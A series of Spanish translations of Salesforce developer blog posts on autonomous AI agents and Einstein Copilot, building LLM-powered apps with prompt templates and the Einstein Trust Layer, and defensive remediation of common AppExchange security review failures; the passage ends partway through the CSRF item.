El panorama de la IA está cambiando a un ritmo tan rápido que las tecnologías futuristas como la IA autónoma ya están mucho más cerca de lo que piensas. Esto se debe a la forma en que los grandes modelos de lenguaje (LLM) están comenzando a incorporarse en casi todas las formas en que interactúa con las aplicaciones. Para los desarrolladores, esto supone un cambio en la forma en que abordamos la creación de aplicaciones, desde las formas en que las reunimos hasta la creación con una UX conversacional completamente nueva.

En esta publicación de blog, veremos cómo los agentes autónomos incorporan la IA a la forma en que funcionan las aplicaciones y, al mismo tiempo, nos acercan a un mundo autónomo.

¿Qué son los agentes autónomos?

En nuestro panorama tecnológico, los agentes son sistemas avanzados que aprovechan el poder de los modelos lingüísticos para razonar y tomar decisiones. Lo que los diferencia de otro bot o marco es el hecho de que los agentes pueden realizar tareas en su nombre utilizando herramientas y memoria.

Las herramientas son extensiones de las capacidades de un modelo de lenguaje, que cierran brechas en su conocimiento y le permiten interactuar con fuentes de datos externas o recursos computacionales. Con estas herramientas, un modelo de lenguaje puede obtener datos en tiempo real, ejecutar tareas y utilizar los resultados para informar sus acciones posteriores. Por ejemplo, si un modelo de lenguaje conoce información solo hasta una fecha determinada, las herramientas pueden proporcionarle información más actualizada de la web, bases de datos u otras fuentes externas.

La memoria proporciona a los agentes la capacidad de recordar interacciones pasadas, lo que puede ser esencial para la continuidad de las tareas y el aprendizaje de acciones anteriores. Esta memoria puede ser de corta duración, centrándose en interacciones recientes, o de largo plazo, recordando eventos o patrones pasados importantes que son relevantes para situaciones actuales.

Juntos, estos elementos transforman un modelo de lenguaje en un agente que no sólo puede comprender y generar texto, sino también actuar sobre esa comprensión en contextos del mundo real. Dichos agentes pueden ejecutar soluciones de forma autónoma para los usuarios, pero también pueden integrar la intervención humana, especialmente en escenarios donde existen incertidumbres o excepciones.

¿Cómo funcionan los agentes?

Se han creado muchos marcos para respaldar el avance de los agentes, siendo algunos de los más populares AutoGPT y LangChain . Generalmente, los agentes siguen un patrón similar: el marco ReAct para razonar y actuar en modelos lingüísticos .

Este marco consta de una serie de pasos:

  1. El usuario proporciona información.
  2. El agente “piensa” en la respuesta adecuada
  3. El agente determina la acción, selecciona la herramienta relevante y decide la entrada para esa herramienta.
  4. La herramienta ofrece un resultado.
  5. El proceso recorre los pasos 2 a 4 hasta que el agente determina que la tarea está completa

Este proceso es el que empieza a hacer autónomo al agente. Al confiar en el LLM para pensar en la respuesta y determinar las acciones apropiadas necesarias, actúa por sí solo para crear el resultado deseado.

Usando LangChain como ejemplo, digamos que queremos crear una aplicación que permita a un cliente gestionar sus pedidos. Primero, podríamos darle a la aplicación acceso a nuestra base de datos de pedidos, base de datos de clientes y API de socios de envío. Luego, configuraríamos una serie de herramientas a las que puede acceder la aplicación para consultar datos, actualizarlos y utilizar IA generativa para redactar una respuesta.

Este agente de gestión de pedidos dispone de seis herramientas que puede utilizar “dentro de su dominio de conocimiento”:

  1. Query Orders es una herramienta que puede consultar pedidos desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  2. Update Order es una herramienta que puede actualizar un único pedido desde una base de datos a través de una API conectada a una base de datos PostgreSQL.
  3. Manage Tracking Info es una herramienta que puede gestionar un envío a través de una API proporcionada por una empresa de envío
  4. Get Customer es una herramienta que puede consultar datos de clientes desde una API conectada a un sistema CRM
  5. Update Customer es una herramienta que puede actualizar los datos de los clientes a través de una API conectada a un sistema CRM
  6. Compose Response es una herramienta que puede pasar indicaciones a un LLM y devolver una respuesta.

Veamos ahora cómo un agente podría manejar casos de uso relacionados con la gestión de pedidos. Por ejemplo, ¿cómo puede el agente ayudar a un usuario a obtener una actualización sobre el estado de su pedido?

  1. El usuario solicita la información más reciente de su pedido a través de un chatbot
  2. El agente “piensa” y determina la acción correcta que debe tomar
    1. El agente primero utiliza la herramienta Consultar cliente para consultar los detalles del cliente.
    2. Luego, el agente utiliza la herramienta Consultar pedidos para consultar pedidos desde una base de datos.
    3. Luego, el agente utiliza la herramienta Administrar información de seguimiento para obtener la información de envío más reciente de su socio de envío.
    4. Luego, el agente toma ambos resultados y utiliza la herramienta Redactar respuesta para generar una respuesta.
  3. La respuesta se devuelve al usuario.

En este escenario, el agente pudo tomar las herramientas que le proporcionamos y determinar el pedido y los parámetros que necesitan para crear el resultado correcto para el usuario, en este caso, toda su información de pedido y envío. Lo que es importante tener en cuenta aquí es que el usuario puede hacerle al agente cualquier pregunta sobre su pedido y el agente puede usar IA para razonar y usar las herramientas en el orden que necesite.

Como desarrollador, su función se centra más en crear las herramientas y permitir que el agente administre la orquestación.

Mantener a un humano informado

El desafío ético con los agentes autónomos es que no hay ningún ser humano involucrado cuando se trata de ejecutar las acciones. En Salesforce, estamos comprometidos con el uso ético de la IA y queremos dejarlo claro en nuestras implementaciones de este tipo de tecnología. Ciertas reglas exigen que una persona sea responsable de tomar la decisión final en asuntos con consecuencias legales o de impacto comparable, incluida la contratación laboral, la aprobación de préstamos, las admisiones educativas y las sugerencias en justicia penal. Esta insistencia en la supervisión humana, en lugar de decisiones automatizadas, tiene como objetivo identificar y reducir mejor los posibles sesgos y daños.

¿Qué significa esto para el futuro de Salesforce?

En Dreamforce este año, les dimos una idea de cómo será el futuro de Salesforce y la IA autónoma en la plataforma Einstein 1. Einstein Copilot es nuestra respuesta a un asistente conversacional de IA generativa basado en agentes que utiliza habilidades y acciones para guiar a los usuarios a través de la interacción con Salesforce. Esto introduce un paradigma de desarrollo completamente nuevo para Salesforce, uno en el que estamos creando piezas de funcionalidad más pequeñas que pueden ser orquestadas por Einstein Copilot.

¿Cómo se compara Einstein Copilot con un agente de IA?

Si bien existen varias similitudes entre Copilot y un marco de agente de código abierto, la verdadera diferencia es el acceso de Copilot a toda la plataforma de metadatos de Salesforce. No sólo eso, sino que el alcance es mucho mayor. En lugar de agentes individuales, tienes muchas habilidades , y en lugar de herramientas tienes acciones .

Por ejemplo, si desea actualizar un pedido utilizando Copilot, deberá crear una habilidad de gestión de pedidos. Con otros marcos, necesitarías crear un agente completo para la gestión de pedidos.

Cuando se trata de acciones, usted tiene el poder de la Plataforma Einstein 1 detrás de usted. Podrá utilizar Apex, Flow, las numerosas API de plataforma, SOQL y mucho más para brindarle a su habilidad la capacidad de reunir datos desde cualquier lugar. También tiene acceso directo a los datos de toda la plataforma.

Estudio Einstein Copiloto

Estas habilidades y acciones se reúnen en Einstein Copilot Studio , que le permite ensamblar flujos, indicaciones, Apex y más en colecciones de funcionalidades.

Actualmente existen tres herramientas dentro de Einstein Copilot Studio:

  • Prompt Builder le permite crear plantillas de mensajes utilizando campos de combinación de registros y datos proporcionados por Flow y Data Cloud.
  • Skills Builder le permite ensamblar acciones, como métodos invocables de Apex, flujos y llamadas de API de MuleSoft, y otorgárselas a un agente.
  • Model Builder le permite traer sus propios modelos de IA a Salesforce

Juntos, podrán crear agentes potentes en Salesforce que puedan usar su código para responder preguntas y ayudar a los usuarios.

La capa de confianza de Einstein

Una gran ventaja de Einstein Copilot es Einstein Trust Layer. Trust Layer proporciona un entorno seguro para el procesamiento de datos a través de un modelo de lenguaje grande, lo que garantiza que los datos del usuario permanezcan confidenciales al enmascarar información de identificación personal, verificar la salida en busca de contenido inapropiado y garantizar que no haya persistencia de datos fuera de Salesforce.

Trust Layer se ejecuta a través de un proceso de varios pasos para garantizar que los datos estén fundamentados y enmascarados antes de ser procesados por un proveedor de LLM externo, y proporciona una puerta de enlace segura para interactuar con dichos LLM. Una vez que se ha generado una respuesta, la verifica en busca de contenido tóxico y desenmascara los datos antes de presentárselos al usuario. Puede ver más de cerca la capa de confianza en nuestra publicación de blog Dentro de la capa de confianza de Einstein .

Resumen

La IA autónoma se hace realidad mucho más cerca a través de agentes, lo que marca el comienzo de una nueva era de tecnología en la que el razonamiento y la toma de decisiones se potencian con herramientas y memoria. Einstein Copilot de Salesforce introduce este enfoque impulsado por agentes en la plataforma, ofreciendo un asistente de IA conversacional que guía a los usuarios, aprovecha los vastos metadatos de Salesforce y garantiza la integridad de los datos a través de Einstein Trust Layer. Este cambio transformador significa no sólo una evolución en las interacciones de IA, sino también una promesa de experiencias seguras, eficientes y fluidas para los usuarios de Salesforce.

Sobre el Autor

Stephan Chandler-García es el director de contenido estratégico de Salesforce. Ha estado en el ecosistema de Salesforce durante más de 10 años como cliente, socio e ISV. Puede encontrar a Stephan en persona en un grupo comunitario Trailblazer o en una de nuestras conferencias en todo el mundo. Alternativamente, sígalo en X (Twitter) o GitHub .

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Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Creación de aplicaciones impulsadas por IA con LLM y Einstein ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Creación de aplicaciones impulsadas por IA con LLM y Einstein | Blog de desarrolladores de Salesforce

La IA generativa es la tecnología más transformadora desde Internet y revoluciona la forma en que creamos e interactuamos con la información. Para los desarrolladores, esto plantea nuevas preguntas: desde la práctica "¿Cómo puedo crear aplicaciones impulsadas por IA con modelos de lenguaje grandes (LLM)?" Más profundamente, “¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones? ” Exploramos estas dos preguntas en esta publicación de blog.

¿Cómo creo aplicaciones impulsadas por IA con LLM?

Comencemos con la primera pregunta: "¿Cómo creo aplicaciones con LLM?" y explore tres opciones que comúnmente se consideran:

  1. Entrena tu propio modelo
  2. Personaliza un modelo de código abierto
  3. Utilice modelos existentes a través de API

Entrena tu propio modelo

Entrenar su propio modelo le brinda control total sobre los datos de los que aprende su modelo. Por ejemplo, puede entrenar un modelo con datos específicos de su industria. Un modelo entrenado con datos de un dominio específico generalmente será más preciso que un modelo de propósito general para casos de uso centrados en ese dominio. Si bien entrenar su propio modelo ofrece más control y precisión, puede que no siempre sea el mejor enfoque. Aquí hay algunas cosas para considerar:

  1. Tiempo y recursos: formar su propio LLM desde cero puede llevar semanas o incluso meses. Como punto de referencia, aunque es probable que su modelo sea mucho más pequeño, el modelo GPT-3 de OpenAI tardó 1,5 millones de horas de GPU en entrenarse.
  2. Experiencia: para entrenar su modelo, también necesitará un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP).
  3. Seguridad de los datos: el poder de los LLM hace que sea tentador crear modelos que aprendan de todos sus datos, pero esto no siempre es lo correcto desde el punto de vista de la seguridad de los datos. Puede haber tensión entre la forma en que aprenden los LLM y la forma en que se implementan las políticas de seguridad de datos en su empresa. Los LLM aprenden de grandes cantidades de datos. ¡Cuantos más datos mejor! Sin embargo, con seguridad a nivel de campo (FLS) y permisos estrictos, las políticas de seguridad de datos corporativas a menudo se basan en el principio de privilegio mínimo: los usuarios solo deben tener acceso a los datos que necesitan para realizar su trabajo específico. ¡Cuantos menos datos mejor! Por lo tanto, un modelo formado con todos los datos disponibles de los clientes y puesto a disposición de todos en su empresa puede no ser una buena idea y violar las políticas de seguridad de datos de su empresa. Sin embargo, un modelo entrenado en especificaciones de productos y resoluciones de tickets de soporte anteriores puede ayudar a los agentes a resolver tickets nuevos sin comprometer la seguridad de los datos.

Personaliza un modelo de código abierto

Personalizar un modelo de código abierto normalmente lleva menos tiempo y es menos costoso que entrenar su propio modelo desde cero. Sin embargo, aún necesita un equipo de ingenieros especializados en aprendizaje automático (ML) y procesamiento del lenguaje natural (NLP). Dependiendo del caso de uso, es posible que aún experimentes la tensión de seguridad de los datos descrita anteriormente.

Utilice modelos existentes a través de API

Utilizar modelos existentes a través de API es la forma más sencilla de crear aplicaciones con LLM. Esta es también la opción más utilizada en este momento. Sin embargo, estos modelos no se han entrenado con los datos contextuales o privados de su empresa y, por lo tanto, el resultado que producen puede ser demasiado genérico para ser útil.

En esta publicación de blog, exploramos diferentes técnicas para agregar datos contextuales o privados de la empresa a través del mensaje. Debido a que el mensaje se crea dinámicamente en nombre del usuario, solo incluye datos a los que el usuario tiene acceso, lo que aborda la tensión de seguridad de los datos descrita anteriormente. Es posible que le preocupe pasar datos privados a una API de terceros, pero existen técnicas para abordar esa preocupación y también las describimos en esta publicación de blog.

Creación de aplicaciones impulsadas por IA utilizando modelos existentes a través de API

Llamada API básica

Los principales proveedores de modelos como OpenAPI , Anthropic , Google , Hugging Face y Cohere ofrecen API para trabajar con sus modelos. En la implementación más básica, su aplicación captura un mensaje del usuario, lo pasa como parte de la llamada API y muestra el resultado generado al usuario.

Por ejemplo, así es como se vería la llamada API usando la API OpenAI:

Esta opción puede funcionar para casos de uso simples que solo requieren un resultado general basado en conocimientos generales. Por ejemplo, " Escribe un haiku sobre el invierno" o "Escribe una declaración SQL de muestra con una unión externa". Pero si necesita una respuesta que se adapte a su propio contexto o a los datos privados de su empresa, es probable que el resultado generado sea demasiado genérico para ser útil.

Por ejemplo, digamos que un usuario ingresa el siguiente mensaje:

Escriba un correo electrónico de presentación para el director ejecutivo de Acme.

El correo electrónico generado no sería personalizado ni relevante porque el modelo no sabe nada sobre su relación con Acme y los negocios que ha hecho con ellos.

Puesta a tierra del LLM

Para que la respuesta sea más relevante y contextual, el usuario puede fundamentar el LLM con información adicional. Por ejemplo, pueden ingresar el siguiente mensaje:

Usted es John Smith, representante de cuentas de Northern Trail Outfitters.
Escriba un correo electrónico de presentación a Lisa Martinez, directora ejecutiva de ACME.
Aquí hay una lista de los últimos tres pedidos que Acme realizó a Northern Trail Outfitters:
Colección Verano 2023: $375,286
Colección Primavera 2023: $402,255
Colección Invierno 2022: $357,542

Esto permite que el LLM genere un resultado mucho más relevante. Sin embargo, este enfoque plantea dos problemas:

  1. El usuario debe ingresar mucha información de conexión a tierra manualmente. Por lo tanto, la calidad del resultado depende en gran medida de la calidad de la pregunta ingresada por el usuario.
  2. Está pasando información confidencial al proveedor del modelo donde potencialmente podría persistir o usarse para entrenar aún más el modelo, lo que significa que sus datos privados podrían aparecer en la respuesta generada por el modelo de otra persona.

Construcción rápida y puesta a tierra dinámica.

Para abordar la primera limitación anterior, puede construir el mensaje mediante programación. El usuario ingresa una cantidad mínima de información o simplemente hace clic en un botón en la aplicación y luego usted crea el mensaje mediante programación agregando datos relevantes. Por ejemplo, en respuesta a un clic en el botón “Escribir correo electrónico de introducción”, podría:

  1. Llame a un servicio para obtener información sobre el usuario.
  2. Llame a un servicio para obtener información sobre el contacto.
  3. Llame a un servicio para obtener la lista de oportunidades recientes.
  4. Construya el mensaje utilizando la información obtenida de los servicios de datos anteriores.

Así es como podrían verse estos pasos de construcción rápidos en Apex:

El principal inconveniente de este enfoque es que requiere un código personalizado para cada mensaje para poder realizar la sencilla tarea de fusionar datos dinámicos en texto estático.

Plantillas de aviso

Para facilitar la construcción del mensaje, podemos usar plantillas: un patrón de desarrollo de software bien conocido que se usa comúnmente para fusionar datos dinámicos en documentos estáticos. Con una plantilla, escribe un archivo de solicitud utilizando marcadores de posición que se reemplazan dinámicamente con datos dinámicos en tiempo de ejecución.

Así es como se vería el ejemplo de Apex anterior usando un lenguaje de plantilla genérico:

Eres {{ user.Name }}, {{user.Title}} en {{ user.CompanyName }}
Escriba un correo electrónico de presentación a {{ contact.Name }}, {{contact.Title}} en {{ contact.Account.Name }}
Estas son las oportunidades de {{contact.Account.Name}}:
{{#oportunidades}}
{{Nombre}}: {{Cantidad}}

{{/oportunidades}}

Las plantillas de mensajes no solo son útiles para crear mensajes mediante programación, sino que también se pueden utilizar como base para herramientas gráficas que admiten la creación de mensajes en un entorno de arrastrar y soltar.

Estudio rápido

Por eso creamos Prompt Studio, un nuevo creador de Salesforce que facilita la creación de indicaciones. Le permite crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos disponibles a través de datos de páginas de registro, un flujo, una nube de datos, una llamada de Apex o una llamada API. Una vez creada, se puede utilizar una plantilla de solicitud en diferentes lugares para consultar el modelo, incluidas las páginas de registro y el código Apex.

Capa de confianza de Einstein

Prompt Builder le permite definir mensajes basados dinámicamente en un entorno gráfico. Pero, ¿cómo se envía ese mensaje de forma segura a un proveedor de LLM?

Puede enviar el mensaje directamente a la API del proveedor de LLM, pero hay una serie de preguntas a considerar con ese enfoque:

  • ¿Qué pasa con los problemas de cumplimiento y privacidad si pasa datos de información de identificación personal (PII) en el mensaje? ¿El proveedor del modelo podría conservar los datos de PII o incluso utilizarlos para entrenar aún más el modelo?
  • ¿Cómo se evitan las alucinaciones, la toxicidad y los sesgos en los resultados generados por los LLM?
  • ¿Cómo se rastrea y registra los pasos de creación de mensajes con fines de auditoría?

Si utiliza la API del proveedor de LLM directamente, tendrá que escribir un código personalizado para responder a estas preguntas. Hay muchas cosas a considerar y puede resultar difícil hacerlo bien para todos los casos de uso.

Ingrese a la capa de confianza de Einstein. Einstein Trust Layer le permite enviar solicitudes a LLM de forma confiable, abordando las inquietudes mencionadas anteriormente.

Así es como funciona:

  1. En lugar de realizar llamadas API directas, utiliza LLM Gateway para acceder al modelo. LLM Gateway admite diferentes proveedores de modelos y abstrae las diferencias entre ellos. Incluso puedes conectar tu propio modelo.
  2. Antes de enviar la solicitud al proveedor del modelo, pasa por una serie de pasos que incluyen el enmascaramiento de datos que reemplaza los datos PII con datos falsos para garantizar la privacidad y el cumplimiento de los datos.
  3. Para proteger aún más sus datos, Salesforce tiene acuerdos de retención cero con proveedores de modelos, lo que significa que los proveedores de modelos no persistirán ni entrenarán más sus modelos con datos enviados desde Salesforce.
  4. Cuando se recibe el resultado del modelo, pasa por otra serie de pasos, incluido el desenmascaramiento, la detección de toxicidad y el registro de seguimiento de auditoría. Demasking restaura los datos reales que fueron reemplazados por datos falsos por motivos de privacidad. La detección de toxicidad comprueba si hay contenido dañino u ofensivo en el resultado. El registro de seguimiento de auditoría registra todo el proceso con fines de auditoría.

De cara al futuro: creación de aplicaciones de una forma totalmente nueva

Ahora echemos un vistazo a lo que viene y abordemos la segunda pregunta planteada al principio de este artículo: ¿Cómo cambiará la IA generativa la naturaleza de las aplicaciones?

Encadenamiento rápido

La lógica involucrada en la creación de un mensaje a veces puede volverse compleja. Puede implicar múltiples llamadas a API o servicios de datos, como en el ejemplo de conexión a tierra dinámica anterior. Responder a la pregunta de un solo usuario puede incluso implicar varias llamadas al LLM. Esto se llama encadenamiento rápido. Considere el siguiente ejemplo:

Para construir el mensaje:

  1. Realizamos una primera llamada API o servicio de datos para obtener datos contextuales de la empresa
  2. Los datos que regresan de la primera llamada al servicio de datos se usan para crear un primer mensaje que usamos para consultar el LLM.
  3. La salida del LLM se utiliza como entrada para una segunda llamada de servicio de datos.
  4. Los datos que regresan de la segunda llamada al servicio de datos se utilizan para crear un segundo mensaje cuya respuesta se envía al usuario.

Las posibilidades de combinar llamadas de servicios de datos y llamadas de LLM para generar un resultado son infinitas.

Orquestación de IA

El enfoque descrito hasta ahora funciona bien, pero a medida que estos flujos de trabajo se vuelven más complejos, podemos ver la necesidad de alguna forma de orquestación. Como desarrollador, luego crearía una serie de bloques de construcción que realizan tareas granulares: recuperar datos sobre un cliente, actualizar un registro, realizar alguna lógica computacional, etc. Estos bloques de construcción se pueden orquestar o remezclar de diferentes maneras usando un herramienta de orquestación. Esto se podría hacer usando una herramienta de orquestación tradicional que le permita definir qué bloques de construcción usar, en qué orden y cuándo (con diferentes ramas "si"). Pero, ¿qué pasaría si la orquestación en sí estuviera impulsada por IA con un orquestador que pudiera razonar y elegir qué bloques de construcción usar y cómo componerlos para realizar una tarea específica? La orquestación impulsada por IA es un nuevo paradigma poderoso que tiene el potencial de revolucionar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

El siguiente diagrama describe este nuevo paradigma de bloques de construcción orquestado por IA a un alto nivel.

En este diagrama, las acciones son los componentes básicos descritos anteriormente. Podrían ser acciones invocables de Apex, API de MuleSoft o indicaciones. Algunas acciones fundamentales están disponibles de forma predeterminada y otras serán desarrolladas por los desarrolladores. Esto también crea una oportunidad para un mercado de acciones creado por desarrolladores y socios.

El planificador es el orquestador impulsado por IA. Cuando la solicitud se pasa al tiempo de ejecución de la orquestación, el planificador elige (crea un plan para) qué acciones usar y cómo componerlas para responder mejor a la solicitud del usuario.

La orquestación de IA es un área activa de investigación en Salesforce y en la industria en su conjunto.

Resumen

El uso de modelos existentes a través de API es una forma común de crear aplicaciones impulsadas por IA con LLM. Con este enfoque, es necesario basar el modelo en datos privados o contextuales de la empresa para obtener resultados más relevantes y útiles. En lugar de pedirle al usuario que ingrese una gran cantidad de información básica manualmente, puede crear el mensaje mediante programación llamando a servicios de datos y agregando datos contextuales al mensaje. Prompt Studio es un nuevo creador de Salesforce que facilita la creación de mensajes al permitirle crear plantillas de mensajes en un entorno gráfico y vincular campos de marcador de posición a datos dinámicos. Einstein Trust Layer le permite enviar mensajes a las API de los proveedores de LLM de forma confiable, abordando problemas de privacidad, sesgos y toxicidad de los datos. La orquestación impulsada por la IA es un paradigma emergente que podría cambiar la forma en que interactuamos con los sistemas de IA y creamos aplicaciones.

Sobre el Autor

Christophe Coenraets es vicepresidente senior de Trailblazer Enablement en Salesforce. Es un desarrollador de corazón con más de 25 años de experiencia en la creación de aplicaciones empresariales, habilitando audiencias técnicas y asesorando a organizaciones de TI.

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Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Las 20 vulnerabilidades principales encontradas en la revisión de seguridad de AppExchange ☁️

Esta es una traducción que desde EGA Futura ofrecemos como cortesía a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoamérica .

El enlace a la publicación original, lo encontrarás al final de este artículo.

Las 20 principales vulnerabilidades encontradas en la revisión de seguridad de AppExchange | Blog de desarrolladores de Salesforce

Se sabe que la revisión de seguridad de AppExchange es uno de los procesos de revisión más rigurosos de cualquier mercado de aplicaciones en línea. Esta estricta reputación es algo de lo que Salesforce se enorgullece, siendo la confianza nuestro valor número uno. Como mercado de software empresarial, tenemos la profunda responsabilidad de cumplir con los más altos estándares de seguridad posibles para la protección de los datos de los clientes.

Dicho esto, estos estándares pueden representar un desafío importante para los socios ISV que buscan publicar ofertas en AppExchange. Para ayudar a mejorar la transparencia y ayudarlos a todos a tener éxito, en orden de prevalencia, esta publicación analizará las 20 razones principales por las que los socios no pasan la revisión de seguridad (a partir de 2023). También cubriremos cómo remediar o prevenir estos problemas.

#1 — Aplicación de CRUD/FLS

¿Qué es esto?

Las vulnerabilidades de aplicación de la seguridad a nivel de objetos y campos (CRUD/FLS) son la razón principal (por un margen significativo) para no pasar la revisión de seguridad de AppExchange. Estas vulnerabilidades representan fallas al verificar adecuadamente si los objetos y/o campos son accesibles, creables, eliminables y/o actualizables antes de ejecutar consultas o acciones de base de datos. Si su oferta de AppExchange contiene algún código de Salesforce, este problema debe ser su prioridad número uno a resolver antes de enviarlo para una revisión de seguridad.

¿Cómo puedo abordar esto?

Si, durante su proceso de codificación, no ha implementado consistentemente comprobaciones CRUD/FLS o no ha ejecutado SOQL, SOSL y DML en modo de usuario, querrá hacer una revisión muy exhaustiva de su código base para asegurarse de que no esté realizar cualquier operación de creación/lectura/actualización/eliminación no marcada en objetos o campos.

El método preferido y moderno para hacer cumplir CRUD/FLS implica utilizar el modo de usuario en todas las consultas y operaciones de bases de datos. La desventaja de esto es que Checkmarx, PMD y el motor de reglas PMD de Code Analyzer aún no lo admiten completamente (al momento de escribir esta publicación, PMD admite WITH USER_MODE en SOSL/SOQL, pero no el modo de usuario DML, por lo que si usa este tipo de protección arrojará falsos positivos). Code Analyzer Graph Engine es actualmente la única herramienta que admite ambos tipos de modos de usuario. Consulte el comando scanner:run:dfa en la documentación para ejecutar un escaneo con Code Analyzer Graph Engine.

Si ha estado aplicando CRUD/FLS a la antigua usanza con Schema.DescribeSObjectResult (es decir, métodos como isCreatable() , isUpdateable() , isDeletable() ), entonces Code Analyzer y la extensión PMD para VS Code pueden ser útiles herramientas que puede utilizar para comprobar su código base. Puede seguir nuestra guía para obtener más información sobre cómo utilizar PMD para VS Code y Code Analyzer para eliminar las infracciones CRUD/FLS.

El escáner Checkmarx debe utilizarse como verificación final de violaciones de CRUD/FLS. Puede ejecutar este análisis a través del Portal de seguridad para socios .

Obtenga más información sobre la aplicación de CRUD/FLS en Trailhead .

#2 – Versión de software insegura

¿Qué es esto?

Esto significa que alguna pieza de software (normalmente, una versión específica del software) utilizada en su oferta tiene vulnerabilidades de seguridad conocidas. La mayoría de las veces, es porque estás usando una versión desactualizada de una biblioteca de JavaScript (por ejemplo, jQuery es, con diferencia, la más común), pero también podría ser algo así como versiones antiguas de nginx, bibliotecas de Python, CKEditor o PHP.

¿Cómo puedo abordar esto?

Intente identificar todas las bibliotecas, marcos, software y otras tecnologías que no sean de Salesforce dentro del alcance de su oferta de AppExchange.

Busque cada uno de estos en Snyk (para proyectos de código abierto) o en la base de datos CVE . CVE significa "vulnerabilidades y exposiciones comunes" y la base de datos CVE representa un glosario de vulnerabilidades de seguridad conocidas públicamente que es mantenido y operado por el FFRDC Nacional de Ciberseguridad de EE. UU. y MITRE Corporation. También puede utilizar el complemento RetireJS de Salesforce Code Analyzer para ejecutar un escaneo de su código base empaquetado para buscar bibliotecas de JavaScript con vulnerabilidades conocidas.

Nota: En algunos casos, puede agregar documentación de falsos positivos para argumentar que un CVE particular registrado no podría aplicarse a su oferta, ya que quizás no esté utilizando la funcionalidad asociada con ese CVE.

#3 – Violación al compartir

¿Qué es esto?

Básicamente, esto significa que tiene clases de Apex en las que no ha agregado explícitamente la palabra clave with sharing al encabezado de la clase, omitiendo así las reglas de uso compartido de una organización.

¿Cómo puedo abordar esto?

Simplemente verifique todas sus clases de Apex y asegúrese de tener with sharing (o el uso compartido heredado) definido en el encabezado de la clase. Para los casos en los que necesita que una clase se ejecute sin compartir (por ejemplo, la clase debe ejecutarse en un contexto de sistema y no en un contexto de usuario), agregue una explicación a su documento de falso positivo que explique el caso de uso empresarial (e idealmente, agregue comentarios en la parte superior). de los encabezados de clase relevantes para que quede aún más claro).

Code Analyzer , PMD para VS Code y Checkmarx también pueden ayudarlo a escanear su código.

Obtenga más información sobre cómo compartir el cumplimiento a través de Trailhead .

#4: Almacenamiento inseguro de datos confidenciales

¿Qué es esto?

Los secretos no deben estar codificados en el código fuente. Aunque el código puede estar contenido en un paquete administrado donde el código está oculto para los clientes, todavía existen razones por las que esta es una práctica insegura, entre ellas:

  • El cliente debe tener control sobre sus secretos y claves y, en muchos casos, debe poder cambiarlos o actualizarlos.
  • Los secretos pueden quedar expuestos en registros o mensajes de error
  • Si un secreto o clave caduca, el cliente no podrá actualizarlo por sí mismo.

¿Cómo puedo abordar esto?

Asegúrese de que no haya secretos codificados en el código fuente, incluso si es un paquete administrado. Asegúrese de que todos los secretos se almacenen de una de las siguientes maneras:

  • Campos de metadatos personalizados protegidos (para secretos propiedad de socios)
  • Configuraciones personalizadas protegidas (para secretos propiedad del suscriptor/cliente)
  • Credenciales con nombre (esto generalmente no se recomienda, pero si tiene un caso de uso específico que lo requiera, es posible que se permita caso por caso)
  • Cifrado y almacenado en objetos personalizados con la clave de cifrado almacenada en una configuración personalizada protegida o en un campo de metadatos personalizados ocultos

Obtenga más información sobre el almacenamiento seguro de secretos en Trailhead .

#5 — Configuración TLS/SSL

¿Qué es esto?

Todas las conexiones entrantes y salientes que involucran a sus comunidades, sitios y portales de Salesforce deben utilizar Transport Layer Security (TLS) 1.2. Este requisito es válido en los modos Lightning Experience y Salesforce Classic para comunidades y sitios, independientemente de si están en las ediciones Essentials, Enterprise, Performance, Unlimited o Developer.

¿Cómo puedo abordar esto?

Verifique que el acceso a su navegador, las integraciones de API y otras funciones de Salesforce sean compatibles con TLS 1.2.

Una forma sencilla de hacerlo es utilizar Qualys SSL Scanner. El equipo de revisión de seguridad ejecutará este análisis en todos y cada uno de los puntos finales externos o que no sean de Salesforce involucrados en su solución. Si sus terminales no reciben una calificación A por cumplimiento de SSL/TLS, su revisión de seguridad no será aprobada.

Para ejecutar el escaneo, simplemente ingrese la URL base en el formulario web de prueba del servidor SSL de Qualys y presione Enviar.

Puede encontrar más detalles sobre los requisitos de TLS en las notas de la versión .

#6 — Información confidencial en depuración

¿Qué es esto?

Este tipo de vulnerabilidad describe situaciones en las que se filtra información confidencial, como secretos de aplicaciones, datos del sistema o información de depuración demasiado detallada, a través de funciones de registro u otros flujos de salida. Por lo general, esto sucede cuando el registro detallado está habilitado para fines de desarrollo, pero luego no se reduce adecuadamente antes de enviarlo para la revisión de seguridad de AppExchange.

¿Cómo puedo abordar esto?

En su paquete de Salesforce, asegúrese de buscar en su código fuente todas las declaraciones de depuración del paquete para asegurarse de que no registren información confidencial o secretos.

Asegúrese de que los códigos de error y los mensajes de error en toda su solución tengan un nivel de información apropiado para que todos los usuarios los vean. Por ejemplo, los usuarios habituales generalmente no deberían ver seguimientos de pila completos ni información de depuración detallada. De manera similar, asegúrese de que otras funciones de registro o flujos de salida tampoco filtren datos confidenciales.

Code Analyzer y PMD para VS Code pueden ayudarlo a detectar estos problemas en las aplicaciones de Salesforce, y los escáneres de aplicaciones web como Burp Suite , Chimera u OWASP ZAP también pueden ayudarlo a detectar estos problemas en sus integraciones externas y aplicaciones web.

Obtenga más información sobre cómo verificar los seguimientos de la pila e información detallada sobre las excepciones en el número 13.

#7 – CSRF

¿Qué es esto?

La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque que engaña a una víctima para que ejecute acciones no deseadas en una aplicación web en la que está autenticada. Explotar la confianza que un sitio tiene en el navegador del usuario puede llevar a acciones potencialmente dañinas, como cambiar direcciones de correo electrónico y contraseñas, o incluso realizar transacciones sin el conocimiento o consentimiento del usuario.

En la plataforma Salesforce, existe un token anti-CSRF para contrarrestar dichos ataques, que ofrece protección mientras se utilizan controladores y métodos estándar. Sin embargo, los desarrolladores pueden eludir involuntariamente estas salvaguardas anti-CSRF al crear sus propios métodos de acción.

